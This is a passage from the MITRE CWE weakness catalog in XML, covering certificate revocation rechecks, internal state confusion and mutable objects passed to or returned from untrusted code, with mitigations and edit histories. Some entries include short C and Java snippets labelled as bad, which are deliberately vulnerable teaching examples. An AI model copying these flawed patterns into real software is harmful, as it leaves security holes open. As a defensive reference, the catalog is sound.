					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Slash Absolute Path - /absolute/pathname/here</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="370" Name="Missing Check for Certificate Revocation after Initial Check" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not check the revocation status of a certificate after its initial revocation check, which can cause the product to perform privileged actions even after the certificate is revoked at a later time.</Description>
         <Extended_Description>If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="299" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="296" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="297" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="298" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>

            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Trust may be assigned to an entity who is not who it claims to be.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>Data from an untrusted (and possibly malicious) source may be integrated.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code checks a certificate before performing an action.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if (cert = SSL_get_peer_certificate(ssl)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>foo=SSL_get_verify_result(ssl);<xhtml:br/>if (X509_V_OK==foo)<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>//do stuff</xhtml:i>
                                 <xhtml:br/>foo=SSL_get_verify_result(ssl);<xhtml:br/>
                                 <xhtml:i>//do more stuff without the check.</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>While the code performs the certificate verification before each action, it does not check the result of the verification after the initial attempt. The certificate may have been revoked in the time between the privileged actions.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Race condition in checking for certificate revocation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP20</Entry_ID>
               <Entry_Name>Race Condition Window</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="26"/>
            <Related_Attack_Pattern CAPEC_ID="29"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 13: Race Conditions.&#34; Page 205"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Modes_of_Introduction, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-05-27">Race Condition in Checking for Certificate Revocation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="372" Name="Incomplete Internal State Distinction" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Incomplete Internal State Distinction</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="140"/>
            <Related_Attack_Pattern CAPEC_ID="74"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.</Note>
            <Note Type="Relationship">This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.</Note>
            <Note Type="Maintenance">This entry is being considered for deprecation.  It was poorly-defined in PLOVER and is not easily described using the behavior/resource/property model of vulnerability theory.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="373" Name="DEPRECATED: State Synchronization Error" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This entry was deprecated because it overlapped the same concepts as race condition (CWE-362) and Improper Synchronization (CWE-662).</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-12</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Deprecated entry</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2010-12-13">State Synchronization Error</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="374" Name="Passing Mutable Objects to an Untrusted Method" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product sends non-cloned mutable data as an argument to a method or function.</Description>
         <Extended_Description>The function or method that has been called can alter or delete the mutable data. This could violate assumptions that the calling function has made about its state. In situations where unknown code is called with references to mutable data, this external code could make changes to the data sent. If this data was not previously cloned, the modified data might not be valid in the context of execution.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Note>Potentially data could be tampered with by another function which should not have been tampered with.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Pass in data which should not be altered as constant or immutable.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Clone all mutable data before passing it into an external function . This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>private:<xhtml:div style="margin-left:1em;">int foo;<xhtml:br/>complexType bar;<xhtml:br/>String baz;<xhtml:br/>otherClass externalClass;</xhtml:div>
                     <xhtml:br/>
                     <xhtml:br/>public:<xhtml:div style="margin-left:1em;">void doStuff() {<xhtml:div style="margin-left:1em;">externalClass.doOtherStuff(foo, bar, baz)</xhtml:div>}</xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example, the BookStore class manages the sale of books in a bookstore, this class includes the member objects for the bookstore inventory and sales database manager classes. The BookStore class includes a method for updating the sales database and inventory when a book is sold. This method retrieves a Book object from the bookstore inventory object using the supplied ISBN number for the book class, then calls a method for the sales object to update the sales information and then calls a method for the inventory object to update inventory for the BookStore.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class BookStore {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>private BookStoreInventory inventory;<xhtml:br/>private SalesDBManager sales;<xhtml:br/>...<xhtml:br/>
                           <xhtml:i>// constructor for BookStore</xhtml:i>
                           <xhtml:br/>public BookStore() {<xhtml:div style="margin-left:1em;">this.inventory = new BookStoreInventory();<xhtml:br/>this.sales = new SalesDBManager();<xhtml:br/>...</xhtml:div>}<xhtml:br/>public void updateSalesAndInventoryForBookSold(String bookISBN) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// Get book object from inventory using ISBN</xhtml:i>
                                 <xhtml:br/>Book book = inventory.getBookWithISBN(bookISBN);<xhtml:br/>
                                 <xhtml:i>// update sales information for book sold</xhtml:i>
                                 <xhtml:br/>sales.updateSalesInformation(book);<xhtml:br/>
                                 <xhtml:i>// update inventory</xhtml:i>
                                 <xhtml:br/>inventory.updateInventory(book);</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:i>// other BookStore methods</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}<xhtml:br/>public class Book {<xhtml:div style="margin-left:1em;">private String title;<xhtml:br/>private String author;<xhtml:br/>private String isbn;<xhtml:br/>
                        <xhtml:i>// Book object constructors and get/set methods</xhtml:i>
                        <xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, in this example the Book object that is retrieved and passed to the method of the sales object could have its contents modified by the method. This could cause unexpected results when the book object is sent to the method for the inventory object to update the inventory.</Body_Text>
               <Body_Text>In the Java programming language arguments to methods are passed by value, however in the case of objects a reference to the object is passed by value to the method. When an object reference is passed as a method argument a copy of the object reference is made within the method and therefore both references point to the same object. This allows the contents of the object to be modified by the method that holds the copy of the object reference. [REF-374]</Body_Text>
               <Body_Text>In this case the contents of the Book object could be modified by the method of the sales object prior to the call to update the inventory.</Body_Text>
               <Body_Text>To prevent the contents of the Book object from being modified, a copy of the Book object should be made before the method call to the sales object. In the following example a copy of the Book object is made using the clone() method and the copy of the Book object is passed to the method of the sales object. This will prevent any changes being made to the original Book object.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>...<xhtml:br/>public void updateSalesAndInventoryForBookSold(String bookISBN) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// Get book object from inventory using ISBN</xhtml:i>
                           <xhtml:br/>Book book = inventory.getBookWithISBN(bookISBN);<xhtml:br/>
                           <xhtml:i>// Create copy of book object to make sure contents are not changed</xhtml:i>
                           <xhtml:br/>Book bookSold = (Book) book.clone();<xhtml:br/>
                           <xhtml:i>// update sales information for book sold</xhtml:i>
                           <xhtml:br/>sales.updateSalesInformation(bookSold);<xhtml:br/>
                           <xhtml:i>// update inventory</xhtml:i>
                           <xhtml:br/>inventory.updateInventory(book);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Passing mutable objects to an untrusted method</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>OBJ04-J</Entry_ID>
               <Entry_Name>Provide mutable classes with copy functionality to safely allow passing instances to untrusted code</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-374"/>
            <Reference External_Reference_ID="REF-375"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Name, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-06-21">Mutable Objects Passed by Reference</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="375" Name="Returning a Mutable Object to an Untrusted Caller" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.</Description>
         <Extended_Description>In situations where functions return references to mutable data, it is possible that the external code which called the function may make changes to the data sent. If this data was not previously cloned, the class will then be using modified data which may violate assumptions about its internal state.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Note>Potentially data could be tampered with by another function which should not have been tampered with.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Declare returned data which should not be altered as constant or immutable.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This class has a private list of patients, but provides a way to see the list :</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class ClinicalTrial {<xhtml:div style="margin-left:1em;">private PatientClass[] patientList = new PatientClass[50];<xhtml:br/>public getPatients(...){<xhtml:div style="margin-left:1em;">return patientList;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While this code only means to allow reading of the patient list, the getPatients() method returns a reference to the class's original patient list instead of a reference to a copy of the list. Any caller of this method can arbitrarily modify the contents of the patient list even though it is a private member of the class.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Mutable object returned</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>OBJ04-J</Entry_ID>
               <Entry_Name>Provide mutable classes with copy functionality to safely allow passing instances to untrusted code</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>OBJ05-J</Entry_ID>
               <Entry_Name>Defensively copy private mutable class members before returning their references</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP34-PL</Entry_ID>
               <Entry_Name>Do not modify $_ in list or sorting functions</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Name, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
